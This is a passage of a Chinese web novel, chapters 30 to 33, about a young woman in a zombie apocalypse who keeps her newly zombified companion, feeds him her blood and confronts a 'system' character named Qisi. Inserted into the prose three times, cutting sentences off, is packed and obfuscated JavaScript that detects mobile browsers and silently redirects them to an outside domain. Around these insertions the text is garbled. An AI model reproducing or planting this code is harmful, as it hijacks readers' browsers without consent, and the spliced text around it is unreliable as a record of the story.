桑寄月难得睡个好觉就得吵醒了,她沉着脸拉开门:“盛星舟,大福,你们俩在闹什么?” 她往声音的来源处看去—— 熟悉的身影,以丧尸的形态,朝着她扑过来。 贪婪的,凶猛的,和外面那群只知道血肉的低等丧尸,没有任何区别。 嗅见毫无掩饰的血肉香气时,骤然失控。 从江望曦那里拿来的血清,似乎没有起作用。 盛星舟还是尸化了。 30. 是狗 面对对她流露出攻击意向并且已经朝着她扑过来对她造成了威胁的丧尸,桑寄月从来都是毫不犹豫的破开他的头颅。 所以当盛星舟扑过来的时候,她也本该如此。 但桑寄月发现他不太好搞定。 本来他平时体能就很好,尸化后更上一层楼,桑寄月和他对上有些吃力,她本来打算去卫生间里套上昨天那件全是丧尸血的连帽衫掩盖气息,扭头一看那件外套已经被洗干净晾在阳台了。 他都那样了,哪来的时间洗衣服? 桑寄月百思不得其解,最后把他关在了酒店房间里,又出去杀了几只丧尸伪装气息后,才折返房间。 原本只是漫无目的在房间里游荡的盛星舟听见她开门的声音,立刻像看见骨头的狗,急匆匆的冲了过来。 桑寄月面无表情的看着他。 他似乎要比那些低等丧尸要灵敏一些,但又没有那么聪明,似乎是觉得味道不太对劲,他俯下身,慢吞吞的在她脖颈边嗅来嗅去。 桑寄月抬手掐住了他的下巴,左右打量了一下他的脸后,兴致缺缺的收回目光,自喉间发出威慑的低吼声。 他似乎被吓到了,这才没在她旁边打转,继续在客厅里走来走去。 桑寄月掏出刚才在酒店杂物间里找到的麻绳,把他五花大绑了起来,丢在角落里,眼不见心不烦。 他无意识的挣扎着,但因为附近没有让他激动的味道,所以挣扎的幅度并不大,只是身体的本能反应。 桑寄月进了卫生间将脏衣服换下,重新整理整齐后才走了出去,角落里的盛星舟立刻开始大幅挣扎了起来,嘴里还不住的发出嗬嗬的低吼声。 吵得很。 和外面那些丧尸一样。 桑寄月坐在沙发上,喝着只剩下最后一点温度的牛奶,咬着烤好的面包,视线一直在他的身上。 期间盛星舟一直在发出噪音。 桑寄月终于确定了他是真的和外面那些烂大街的低等丧尸毫无差别。 果真一点用都没有。 桑寄月有些烦躁的放下了手里的玻璃杯,然后走到盛星舟碰不到的地方,在他的面前坐下,他犹在凭借本能发出噪音。 “盛星舟,你知道吗?丧尸和丧尸之间也是有所不同的。” 丧尸病毒统称为丧尸病毒,但病毒却会分出许多截然不同的基因序列,其中最常见最烂大街的就是盛星舟这种普通丧尸,只会凭借身体对血肉渴望的本能行动,无意识的听从基因序列比他更高级的丧尸,所有异种丧尸都能差遣这种丧尸。 如今他们碰到的丧尸,百分之九十九都会是这种普通丧尸。 比普通丧尸等级更高的是异种丧尸,他们拥有人类的面貌,只是皮肤更加苍白,爪子与牙齿更加尖锐,只有在情绪激动的时候,才会显出丧尸的面貌。 这样的丧尸一开始因为外貌在丧尸群中格格不入,但经由血肉喂养,会生出自我意识。 桑寄月上辈子就是这样的丧尸,喂养她的人是江望曦。 桑寄月对盛星舟说了很多,他毫无察觉的继续发出噪音,她也不在意,好歹盛星舟也算是理她了。 “你知道我为什么要跟你说这么多吗?” 盛星舟:“嗬嗬——” 桑寄月伸出指尖,他扑上来咬,但因为身上的绳索,在即将碰到她指尖的时候,他便无法再前行一步了。 这让他尤为愤怒的大叫了起来。 桑寄月晃动着指尖,他覆盖着一层白膜的眸子连带着脑袋都跟着那根手指头在转动。 逗他玩了一会儿后,桑寄月收回手,有些失落的说:“如果你也是异种丧尸的话,我也会用我的血肉喂养你,但很可惜你不是。” 他只是一只只渴望血肉的低等丧尸,喂了也是浪费。 盛星舟好像更愤怒了,他疯狂的挣扎着,像是一只困兽,覆盖着白膜的眸子都跟着泛了红。 桑寄月:“你脾气怎么这么差了,我变丧尸的时候脾气可好了,哥哥每天都夸我好乖。” 他的身上忽然开始冒火星子。 当然不是生气得喷火了,而是他似乎觉醒了异能。 这并不奇怪,感染尸毒也是基因重新排序的过程,会觉醒异能也有可能。 他身上的绳索轰然断裂。 没了束缚之后,他立刻朝着桑寄月扑了过来。 桑寄月一脚踹他身上,然后用水异能浇灭了他身上的火。 趁着盛星舟还在地上爬,桑寄月又进了卫生间穿上那件重新染上血的连帽衫。 刚要扑过来的盛星舟僵住了,很茫然的看着桑寄月。 桑寄月没理他,又去外面找了绳子来要把他捆起来,他似乎还记得,桑寄月拎着绳子过来的时候,他就蹲到墙角去了。 和刚才被绑的时候一样坐在地上。 看得出来,他不想被绑了。 桑寄月打量着他:“好像是比普通的丧尸聪明一点,是吗盛星舟。” 盛星舟:“嗬嗬。” “是不是哥哥的血清还是有点作用呢?”桑寄月在他面前坐下:“你以后能不能想起我来?” 他继续嗬嗬。 桑寄月说一句他就要嗬一声,还算给她面子。 “但是我可没时间等你变聪明。”桑寄月用脚尖踢了他一下,他缩得更里面了:“殷乔他们这几天应该就要离开海晏区了,我要去找他们,你这样肯定不能跟着我了。” 盛星舟:“嗬。” “走吧。”桑寄月摸了下他的脑袋,神情很温柔:“我带你去找你的丧尸小伙伴们,送你最后一程。” 桑寄月背上小书包,左手牵着大福,右手牵着盛星舟,往外走去。 他们都很乖的跟着她。 今早还没来得及遛狗,桑寄月就先牵着大福在附近转了一圈,盛星舟也被她牵着,拖着僵硬的身体跟她走。 “其实我不喜欢遛狗,只喜欢养狗。”桑寄月有些苦恼了叹了口气:“但是以后我得自己遛狗了。” 盛星舟“嗬”了一声。 “大福的狗粮和罐头也都在你这里,不过还好乔乔的空间里也有这些东西。”桑寄月又叹了一口气:“等两年后我就把大福托付给乔乔吧,本来想托付给你的,但你不太争气。” “……” 无论桑寄月说什么,他都只能发出僵硬的音节,后来或许是习惯了她的声音,她再说话他就一声不吭了。 被桑寄月牵着在四处游荡,和他自己四处游荡,对他来说没有丝毫区别。 但桑寄月停住了脚步,看了眼天色:“好像中午了,时间过得真快。” 盛星舟毫无反应。 桑寄月弯腰拍了拍大福的脑袋,声音温柔:“大福,和星星哥哥说再见,祝他能走得久一点。” 可别随随便便就被人给割掉脑袋了。 盛星舟身上的气息很陌生,大福根本认不出他,只在桑寄月脚边打转。 “大福说,希望你能活到末世结束的那一天,那时候还有生机。” 桑寄月慢慢的放开了盛星舟的手。 失去了轻柔束缚的丧尸重新抬起了僵硬的步子,漫无目的的往前走去。 桑寄月盯着他的背影。 他很明显在没有完全尸化的时候认真的拾掇过自己了,手和脸都擦得干干净净的,虽然那张脸已经惨不忍睹,他还换了干净保暖的衣服。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“砰”的一声,顶替了盛星舟位置的那只丧尸已经被轰烂了脑袋。 桑寄月猫着腰挤到最前面,准确无误的抓住了刚从地上爬起来的盛星舟,带着她逆着丧尸群往外走。 但丧尸实在是太多了,桑寄月挤得进来,却寄不出去。 楼上已经有火异能的军官开始要点燃炸/药—— 桑寄月急躁得攥紧了盛星舟的手,正要不顾引起楼上军方注意力的可能性,动用异能突出重围,盛星舟忽然回握住了她的手,顺着她的方向带她往外挤。 有了他的配合,桑寄月很快就呼吸到了新鲜的空气。 下一刻,爆炸的声音轰然响起。 桑寄月将盛星舟推倒,让他挡在自己身上,她紧紧的攥着他的手,耳畔是一声一声巨大的爆炸声。 爆炸中心的丧尸胳膊腿乱飞,伴随着轰然倒塌的建筑一起埋入废墟。 撤离到安全地带的军方开始进入废墟清理没有被炸死的丧尸。 盛星舟似乎是想爬起来,但还被桑寄月死死地拽住,她伸出另一只手,按下了他的脑袋,他枕在了她柔软温热的脖颈,一动不动。 过了许久,直到军方成员终于离开,桑寄月才松了一口气,推开盛星舟,从地上爬了起来。 “你差点害死我。”桑寄月面无表情的说。 盛星舟也慢吞吞的爬起来,没了束缚,他继续往前走。 他背后的衣服已经碎成了破布,露出黢黑的后背,爆炸的碎片割开了他的皮肉,渗出黑色的血,又被腐肉覆盖。 桑寄月越发烦躁了,三两步追上去拽住盛星舟,他停住脚步,不乱走了。 “你是丧尸还是狗,非得拴着,一放开就要乱走。”桑寄月生气的说道。 31. 决定 盛星舟这样在外面游荡实在是太危险了,桑寄月没办法,只能带着他重新回到之前暂住的酒店。 大福在她的耳边汪汪汪的叫,扯出了盛星舟早上喂完狗还没来得及收起来的狗粮包装袋。 桑寄月放开盛星舟,去给大福倒狗粮,换清水。 大福走了一个上午饿坏了,立刻嘎嘣嘎嘣的吃了起来。 原本在客厅乱走的盛星舟忽然也大叫了起来。 桑寄月:“你说什么?” 普通丧尸的语言系统匮乏,加上盛星舟刚“出生”也不会说话,他们这样的普通丧尸更多的是凭语气来辨认该做什么。 盛星舟:“嗬嗬嗬嗬嗬……” 他叫个不停。 桑寄月似乎明白了什么:“你又不是大福,叫了也没狗粮给你吃。” 盛星舟当然没听懂,他得不到想要的,就只能一直叫。 桑寄月实在是没办法,又不能现在出门杀个人给他吃,她一把将盛星舟推进卧室,眼不见心不烦。 里面传来了走动的声音,除此之外就没有别的了。 折腾了一个上午,桑寄月也饿了,好在空房间里还有盛星舟没有收起来的食材和炊具,桑寄月用剩下来的食材熬了一锅粥,当做午餐。 桑寄月是会做饭的,殷乔教过她,但她对于这项技能不以为意,重生回来后也从来没有下厨的想法。 只是现在没人给她做饭,她只能自己动手。 锅里的粥很快就开始咕噜咕噜的冒泡,桑寄月盛了一碗,等晾凉了之后慢悠悠的舀了一勺喂进嘴里。 “真难吃。”她嘟囔了一声,但还是老老实实的吃完了。 锅里还剩下不少。 桑寄月习惯性的开口:“盛星舟,吃不完了——” 盛星舟还在房间里散步。 桑寄月烦躁的摔了碗筷,然后又捡起来,还好没碎,碎了今晚就没得用了。 收拾完碗筷后,桑寄月才打开卧室的门,盛星舟走了出来,“出生”后还未进食的他显得尤为暴躁。 只是丧尸是吃不了人类的食物的,之后倒是会有异兽进化出来,可以当做食物,但现在—— 桑寄月只能割破手指头挤了点血出来,兑了满满一杯水。 她认认真真的将手指头包扎好,然后走出来将水杯递给盛星舟。 “捧着。” 盛星舟学着她的样子捧着玻璃杯,嗅了嗅里面的液体,很香,但味道很淡。 他似乎不太愿意进食。 桑寄月把杯子往他嘴边推,受伤的手指头橫在他鼻子下面,总算是骗他把这杯水喝完了。 他看起来平静了很多,然后继续开始到处乱走。 桑寄月在沙发上坐了下来,有些苦恼的想着该把盛星舟送到哪里去,外面现在太危险,他一出去可能就死了。 可是也总不能把他一直关进房间里,虽然丧尸抗饿,但长久不进食只剩一把骨头多难看啊。 桑寄月第一次感到茫然。 她没办法一走了之,也没办法带着一只丧尸去找殷乔他们。 一直到晚上天色暗下来,桑寄月都还在想这件事。 可是盛星舟为什么还在到处乱走啊! 桑寄月看到他就烦,一把把他推到角落里,喉咙里发出威胁的低吼声,让他在墙角老实蹲着。 然后桑寄月进卧室准备睡觉。 不出所料的,她失眠了。 无论是在床上还是在衣柜里,她都没能入睡。 桑寄月叹了口气,穿上染血的外套,推开门走了出去。 光线昏暗的客厅里,盛星舟还老老实实的蹲在角落里。 桑寄月在他旁边坐下。 盛星舟毫无反应,呆呆的坐着,丧尸不用睡觉,又不敢乱走,只能发呆。 桑寄月也发了会儿呆,喃喃自语:“妈妈,我该怎么办。” 她不该是一个犹豫不决的人,盛星舟的出现实在是太意外了。 退场得也很突然。 桑寄月的视线逐渐模糊,黑暗中,她仿佛又看见了熟悉的身影,静静的站在她的面前。 她听见‘妈妈’温柔的对她说:“我们不能带着他,他现在是毫无价值的拖油瓶,只会给我们带来麻烦。” 桑寄月非常认可:“你说得对。” “那就把他丢出去吧,不要去看他,黑暗中,他很快就会消失在我们眼前的。” “可外面太危险了。”桑寄月喃喃:“如果不解决这件事,我可能之后都没有办法睡好了。” ‘妈妈’一如既往温柔的给她出主意:“那就把他带到山里去吧。” 桑寄月愣了一下,这似乎是个不错的主意,很快就会有异兽进化出来,他在山里也饿不着,运气好说不定还能杀几个落单的倒霉蛋吃。 “好。”桑寄月缓慢点头。 ‘妈妈’接着提醒她:“我们不是犹豫不决的性格,既然做了决定,就不要再动摇了,不然妈妈会对你失望的。” “好。”桑寄月继续点头。 ‘妈妈’又一次在桑寄月耳畔说道:“接下来的两年,是复仇时刻,我们重来一次,为的就是要让他们时刻都在地狱之中,至于其他的,都不重要。” 桑寄月莫名的想到了盛星舟艰难的对她说的那段话,他说她重生的意义远不止于此。 耳畔温柔的声音逐渐开始扭曲,变得尖锐。 桑寄月被吓了一跳:“妈妈,你不要凶我……” 尖锐的声音却始终没有消失。 桑寄月的脸色变得越来越难看,她爬起来去翻她的小书包,从里面摸出了一个白色的药瓶,紧紧的攥着。 要吃吗? 吃了就又看不到妈妈了。 算了,又不是生病,不用吃药。 桑寄月用手背擦了擦眼泪,坐回了盛星舟的旁边。 四周的黑暗中仿佛藏着鬼影,冰冷的攀上了她的脚踝,要将她拽进一片刺目的鲜血中。 因为恐惧与哭泣,桑寄月的呼吸变得很沉,她痛苦的尖叫了一声,惹得旁边的盛星舟都看了过来。 他的眸子很空洞,毫无感情的落在她的脸上。 桑寄月攥住了他的手,问他:“盛星舟,你可以抱抱我吗?” 妈妈在凶她,她很害怕。 盛星舟坐着没有动。 桑寄月呜咽了一声,主动抱住了他,这一次却没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135742|178966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能感受到熟悉的心跳与体温。 她钻进了他怀里,整个人都靠在了他的身上,还把他垂在身侧的手摆在了她的腰上,让他圈住她。 终于被密不透风的抱住了。 …… 天色渐明。 桑寄月是被大福闹醒的,现在应该已经不早了。她睁开眼,他们仍保持着昨晚的姿势,盛星舟一动不动的抱着她。 桑寄月盯了眼浑身脏兮兮的盛星舟,嫌弃的别开眼,一把将他推开,去了卫生间洗漱。 一身清爽的出来时已经是半个小时后了,桑寄月在其他客房里找到了干净的衣物,丢在盛星舟的面前。 “我要把你带到深山老林里。”桑寄月一边把他推进卫生间,一边用水异能往他脸上、身上滋水,冲掉他身上的灰尘和血液,她接着说:“你只需要在那里待七年,就就能迎来新世界。” 那时候她应该还活着,不过她是不会再来找他了。 盛星舟毫无反应的站着,身上哗啦啦的滴着水。 桑寄月扯了毛巾,随便给他擦了下脸,然后给他换上了干净的黑色毛衣,套上保暖的冲锋衣。 都收拾完毕后,桑寄月牵着盛星舟和大福出了门。 距离他们最近的是枫林山,此时恰逢秋季,满山的红枫,美不胜收。 这也是海晏区大学城附近有名的旅游胜地,只不过因为末世爆发的时候是夏天,枫林山这边正是清冷的时候。 这段路不算太长,但如果光靠两条腿走的话,也得走一个上午。 他们在山脚驻足,脚下落满了血红的枫叶,像是柔软的地毯,桑寄月从书包里拿出了一个保温杯,拧开后递给了他。 里面粘稠鲜红的液体散发着致命的香气。 这一次不需要桑寄月哄了,他大口大口的吞咽着,鲜红的液体将他苍白的嘴唇也染得殷红。 桑寄月踮着脚摸了摸他乌黑柔软的发顶,衣袖滑落,露出手腕上的一截绷带,她说:“再见啦。” 她慢慢的松开了握着盛星舟的手。 盛星舟立刻往前走。 “走反了,笨蛋。”桑寄月推着他调转方向。 盛星舟往山里走。 桑寄月这一次没有再盯着他的背影,她牵着大福,转身离去。 身后却不合时宜的传来了沉重僵硬的脚步声。 折返的盛星舟在她面前走来走去。 桑寄月重新把他往山里推:“走这边。” 盛星舟走了几步,在即将脱离桑寄月的视线时,他转过身,又走了回来。 桑寄月:“……” 昨天不还是撒手没吗?一杯血给他喂出感情来了? 她往左边走,盛星舟往左边跟;她往右边挪,他也亦步亦趋。 “好像甩不掉了。”桑寄月嘟囔了一声,她叹了口气:“那也没办法了……” 她盯着在她面前站立不动的盛星舟许久,仿佛做下了一个艰难的决定,她轻声开口:“盛星舟,我这两年,给你吧。” 在短暂的生命里去试试另一种活法。 盛星舟仍然没有丝毫反应。 他还不知道,他清醒时的求而不得,皆在此刻应验成真。 32. 尸体 大福也不明白为什么,这两天它早上的运动量直线上升,明明懒惰的女主人从来都不会和它玩这么久。 十二岁的小狗累得走不动路,女主人就教这两天只会怪叫的男主人该怎么抱着它,小狗窝在男主人的臂弯里,时不时的摇晃一下毛茸茸的尾巴。 女主人牵着不认路的男主人,时不时的会嘀咕几句话,比如说:“要不你也背我一下,我也走不动了。” “这附近怎么一辆车都没有,好无聊,这么空的路就适合用来飙车。” “也不知道乔乔他们走了没,没走的话过两天去搞点破坏,刷点存在感,他们可不能把我给忘了。” “……” 平日里喋喋不休的男主人一声不吭,女主人反而成了话多的那一个,学着男主人从前的模样,偶尔抱怨着怎么不理我。 …… 再次回到暂住的酒店的时候已经是晚上了,桑寄月走了一整天的路,累得躺在沙发上一动不动。 盛星舟默不作声的站在她旁边,也不乱走,但也没有别的动作。 大福跑到水碗边狂喝水,喝完之后就开始闹着要吃饭。 桑寄月抱着柔软的抱枕没精打采的说:“给大福倒狗粮啊,怎么什么都不会了,盛星舟。” “……” 她嘀咕了两句,认命的爬起来去给大福倒狗粮,但狗粮的袋子已经空了,剩下的狗粮都在盛星舟的空间里。 如果空间无法使用的话,接下来的一段时间他们会过得有些麻烦。 桑寄月盯着盛星舟看,抱怨道:“讨厌你。” 他毫无反应。 桑寄月把他拉过来坐下,握住了他的手,尝试着用异能开始与他绑定的空间。 空间是可以共享的,至少上辈子殷乔就与桑淮共享过空间。 不过桑寄月不太清楚其中原理,只能一点一点的尝试。 被他人异能侵入一着不慎就会爆体而亡,更遑论是水与火天生不相容的元素,但盛星舟很显然没有丝毫抵抗的意思,也没有表露出任何的攻击性。 以异能为媒介,天生聪明的桑寄月很快就侵入到了盛星舟的大脑,她也看见了他脑海中的世界。 因为主人已经失去意识,这里一片灰暗荒芜,但仍可以窥见从前的模样。 阳光,高山,溪流,树木,波澜壮阔的自然景象,构成了他丰富多彩的世界。 桑寄月也看到了他的空间。 不比殷乔空间的广袤无垠,这座房子约莫六十平左右,不算太大,里面的一角堆满了他们之前收集的物资,应该都是最开始的时候他们收集的。 这里剩余的空间还有挺多的,也不知道盛星舟一开始为什么没有把它塞满。 桑寄月正在翻找今晚会用到的物资的时候,忽然听见了一丝怪异的声响,像是什么包装袋被撕开的声音。 总不能是盛星舟在这里偷吃吧? 桑寄月循着声音绕到了房子后面,她这才骤然惊觉,在一片灰暗的空间里,竟然还有一处是有颜色的。 海浪,沙滩,遮阳伞,与躺在沙滩椅上难以用言语形容的奇怪物体。 那是由肉眼可见的像素块组成的小人,和他们根本就不是一个画风,像是从二维世界里出来的一样。 像素小人正在吃零食,塑料包装袋已经被拆开,在他手里也变成了像素块。 他脸上还带着一副明显是像素块组成的墨镜,像是来度假的一样。 ……有意思。 其实是老熟人。 桑寄月不动声色的靠近,捏住了那只像素小人,声音温柔:“我们又见面了。” 解绑不成正在摆烂的七四:“我靠!” “你怎么会在这里?你想对盛星舟做什么?” 七四秒跪,非常讨好的对桑寄月说:“月姐,我还是老目的啊,您知道的,我跟您一条战线哒~” 桑寄月听了,不禁嗤笑。 上辈子在她断了一条手臂后,这个自称为拯救系统的小东西就找上了她,说要改变她的宿命。 桑寄月一开始还觉得有点意思,但这该死的系统竟敢让她去讨好桑淮,还要撮合与桑淮离心的殷乔。 她当场暴怒,七四却非常嚣张且高傲的说:“你作恶多端,本来就该死在桑淮的手里,这次没死下次也会死的,你不想死的话当然得讨好他啊,就像一开始那样,你咋就走偏了呢!” 桑寄月一声不吭,但已经开始尝试找出这不知道藏在哪里的系统。 七四不觉,犹在嚷嚷:“你怎么不说话?是太感动了吗?唉,我也不想绑定你的,但没办法啊,你现在就照我说的做,我给你发布任务了——去桑淮面前声泪俱下的认错,奖励一个积分……” 然后他就被桑寄月给捏了起来。 就像现在这样。 后来的情况自然无需多说,桑寄月把他捏碎了,赶出了她的大脑。 这件事给七四带来了很大的阴影,但他的任务还没完成,只能硬着头皮再次来到这个世界,只是这一次他不敢去招惹桑寄月了。 谢天谢地这次绑定的宿主还挺好说话,就是没什么用,现在这副样子也做不了任务。 七四已经不抱希望的开始度假,准备享受他最后一段惬意时光。 结果又被桑寄月抓住了。 完蛋了。 看见一声不吭的桑寄月,七四感觉他全身都在隐隐作痛,在她手里变成碎得不能再碎的像素块的痛苦回忆萦绕着他,天晓得他花了多长时间才把自己拼好。 桑寄月还在想七四绑定了盛星舟这件事。 她本来还以为盛星舟只是单纯的穿书来着,没想到还绑了这么个东西。 桑寄月终于开口:“你有欺负他吗?” 之前她绑定系统的时候系统就想欺负她,盛星舟又没什么脾气,说不定七四私底下怎么压榨他呢。 “冤枉啊,我明明是把他送到姐您手里让您欺负啊。”七四立刻叫屈:“为了给您买异能卡,他还欠我十积分没还呢,估计也还不上了,我才是受害者。” 自从他们一行人去完超市之后七四就没再找到机会给盛星舟发布任务,所以盛星舟至今还欠他十积分。 估计也没机会还了,他真是血亏。 桑寄月命令:“让他好起来。” “月姐,对不起。我做不到。” “你能让他复活你不能祛除丧尸病毒?” 七四:“那条命是提前申请的啊,这次谁知道他就变丧尸了,等审批下来剧情估计都结束了。” 七四深谋远虑,在绑定盛星舟的时候就想到他被桑寄月捏碎过一次,更何况这次是直接出现在她面前的宿主,所以多给盛星舟申请了一条命。 他也不负所望一见面就用上了。 哈哈,七四觉得他真是聪明。 就是有点命苦。 “你比盛星舟还没用。”桑寄月面无表情的说,然后又问:“他已经感染了病毒,按理说已经死了,你为什么不把他送回他真正的家?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140937|178966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这个世界属于她,但并不属于盛星舟。 “没到时候。”七四声音很小,生怕被主程序听见了:“得等剧情走完,所有人都获得圆满结局……” 桑寄月呢喃着七四说的最后四个字,她轻笑了一声:“那看来,他永远也回不了家了。” 她的声音带笑,眼神却是冰冷的。 …… 无论如何,盛星舟的空间桑寄月也能用了,这本来就是七四额外给他开的金手指,桑寄月问的时候七四也很好说话,干脆的帮她和空间建立了连接。 给大福放完狗粮,又开了一个罐头之后,桑寄月才有空给自个儿准备晚餐,她累得很,也不想做饭了,就拿了一桶泡面出来泡。 冷冰冰的水注满泡面桶,桑寄月抓着盛星舟的手说:“火。” 他听不懂桑寄月的意思,呆滞的盯着桑寄月垂落在身侧的右手,手腕上的绷带有些松散,从衣袖里掉了出来。 有一丝香甜的味道溢出,让他感到困惑又饥饿。 但过去的教训让他的身体已经有了本能反应,不去扑咬眼前的少女。 桑寄月重重的打了一下他的手心,不耐烦的说:“给我变个火。” 盛星舟没反应,她又嘀嘀咕咕的骂他笨蛋,然后花费了一个小时时间,和他沟通,教他怎么运用异能。 将泡面放在盛星舟掌心加热已经是一个小时后的事情了,桑寄月吃着裹满了辣油的泡面,满足的喟叹了一声。 她吃完了一整桶泡面,然后让盛星舟把厨余垃圾烧掉,也省的她收拾。 桑寄月看着格外听话的盛星舟,很是满意,鼓励般的拍了拍他的脑袋:“还算有点用。” 他的视线一直在她的脸上,却一声不吭。 桑寄月吃饱喝足之后,就开始着手处理盛星舟身上的伤口,放着不管的话会烂得更厉害,既然决定把他留下,她也不想哪天扭头一看他变成一团烂肉。 尸体也是需要好好呵护的。 盛星舟身上的伤有点多,除了手臂上的咬伤之外,之前与桑淮和叶临交手,脖子和脸都被划拉出来口子,身上也青青紫紫的,很显然是被打得很惨,后背上也有烧伤,在泛着青色的皮肤上很是醒目。 她给他涂了药酒,又抹了药膏,用干净的绷带缠上伤口,包扎得一丝不苟。 桑寄月摸了摸他完好无损的另外半张脸,神情很冷:“会帮你报仇的,放心,他们别想过得太顺。” 盛星舟安静的看着她,毫无反应。 屋里仅剩的烛火也灭了,一片昏暗中,桑寄月抱住了他的腰,往他怀里钻:“抱我。” 她好茫然,也好孤单。 以后还不知道该去哪里呢。 不复仇的话,她还能做什么呢? 盛星舟要是能告诉她就好了,如果没有他变成丧尸的变故,她也跟他离开,他会和她去哪里呢? 盛星舟坐着没有动,但桑寄月可以调整他的姿势,他非常听话,不会乱动破坏她整理好的姿势。 宽阔的沙发上躺了两个人,有些拥挤。 桑寄月想起昨晚上就有点冷,死人的温度和块冰一样,她后来拿了条毯子裹着才暖和,现在可不能生病,于是推了推他:“不是有异能吗,用起来。” 他学习的速度倒是很快,冰冷的躯体逐渐变得温热。 桑寄月满足的闭上眼睛:“和之前一样暖和。” 如果她枕着的胸膛里那颗安静沉寂的心,也能再度跳动,焕发蓬勃的生命力,就更好了。 33. 走丢 桑寄月隐约觉得抱着她的盛星舟似乎不太老实,他没有再像之前那样一动不动,而是将脑袋凑近了她,又开始在她身上嗅来嗅去。 估计是那件染血的连帽衫外套味道淡了。 好烦啊盛星舟,困死了。 桑寄月睁开眼才发现已经天亮了,看窗户缝隙透出的光照程度,时间还不早。 盛星舟犹在乱动。 他的脑袋最终停在了她搭在一旁的右手手腕边,张嘴,叼住—— 尖锐的犬齿有一瞬间划过了白皙柔嫩的皮肤。 桑寄月起了一身的鸡皮疙瘩:“松嘴!” 盛星舟慢吞吞的把她的手腕吐出来。 桑寄月一巴掌把他的脑袋打偏,然后跳下了沙发,进了卫生间洗漱。 过了一会儿,她端了一杯淡红色的水走到了盛星舟的面前,递给他:“给你,这是你今天的食物。” 盛星舟伸出僵硬的手,接过,但目光还注视着她的手腕。 桑寄月已经重新包扎过手腕了,但还是有一丝丝血气飘出来,她把手腕凑近他的鼻翼间,才哄着他把那杯水给喝了。 盛星舟结束进食后,桑寄月把他的衣服脱下来,察看他身上的伤口,出乎意料的是,包扎过后的伤口好得还挺快,最外面一圈的腐肉都开始脱落了。 或许是江望曦的血清还在作用着。 重新包扎完后,他们终于要正式出发了。 桑寄月这一次左手牵着盛星舟,右手牵着大福,离开了这家住了三晚的酒店。 接下来桑寄月要去烂尾楼附近看看,殷乔他们还在不在。 军方目前虽然还在清剿海晏区的丧尸,但丧尸的数量实在是太多,像是蝗虫一样密密麻麻,街道上还是有不少的丧尸,不过为了避免麻烦,桑寄月还是警惕的避开了军方可能经过的地方。 这途中桑寄月还不忘再杀几只丧尸,涂抹在那件全是血的外套上,掩盖气息。 她杀丧尸的手法依旧干脆利落,一刀毙命,喷溅而出的血还溅到了旁边和大福一样安静站在的盛星舟身上。 盛星舟抬起僵硬的脑袋,盯着桑寄月的动作。 直到桑寄月拎着血淋淋的匕首朝着他走过来,他才慢吞吞的转动着一片白的眼珠子,迫使自己挪开目光。 桑寄月往旁边挪了两步,又进入了他的视线。 “看到了吗,这就是惹我生气的下场,我超凶的,你惹我我会杀掉你。”她非常凶恶的对盛星舟说。 桑寄月说着话,本来是想在盛星舟的衣服声把匕首上的血擦干净的,但她想到目前洗衣服的好像是她,她就放弃了,转而抹到了那件已经惨不忍睹的外套上。 盛星舟当然没听懂她说话,只是继续转动着眼珠子,不去看她。 桑寄月也不在意,她牵着盛星舟和大福,继续出发。 没过多久,盛星舟的目光重新慢慢的落在了她的身上,不再挪开。 在抵达烂尾楼的时候,那里不出所料已经人去楼空了,他们住了一段时间的楼里乱糟糟的,似乎离开得很匆忙,还发生过打斗。 桑寄月还去了一趟三楼,她的房间还保持着她离开时的样子,她想了一下,还是收拾了一些小物件放进空间里。 这附近已经开始有丧尸游荡过来了。 桑寄月牵着盛星舟和大福离开的时候,一只丧尸忽然游荡到了她面前,似乎是想和她交流。 桑寄月皱眉,从喉咙里发出威胁的声响,让对方赶紧滚。 那只丧尸似乎是觉得很委屈,喉咙里发出属于丧尸的低吼声,却与普通的丧尸不同,音节串连成了字句:“你为什么又让我滚。” 他们在静安区御水湾外的大超市见过,当时他好不容易看见一只和他一样的“丧尸”,特别开心的想过去对话,但桑寄月不理他,还踹他。 “因为你没用。”桑寄月面无表情的用丧尸的语言回答他。 丧尸听了,转动着漆黑的眼珠子,盯了呆滞的盛星舟一眼,似乎有些不屑。 盛星舟感受到敌意,眼前的丧尸属于异种丧尸,拥有人类的面貌,只是那张脸上全是血,看不出原本的模样。 虽有血脉压制,但盛星舟还是愤怒的吼叫着:“滚……” 普通的丧尸只能吐出单音节的字,很多时候的吼叫都是在重复着无意义的“饿”“吃”“肉”“血”之类的字。 不过盛星舟竟然会说滚诶。 好聪明的。 桑寄月暗自肯定。 丧尸并不在意盛星舟,还问:“那他有什么用,他连话都不会说。” 盛星舟:“滚!” “这不是会说话么?”盛星舟现在都不发声了,听他接二连三的说滚,桑寄月还觉得挺稀奇。 丧尸嗤笑:“只会说一个字的低等丧尸,他连我们在说什么都听不懂。” 盛星舟的确听不懂,但这并不妨碍他对眼前的丧尸有敌意。 桑寄月看得好笑,不过她想到这只丧尸游荡在这里,说不定知道殷乔他们去了哪儿,她直接开口询问。 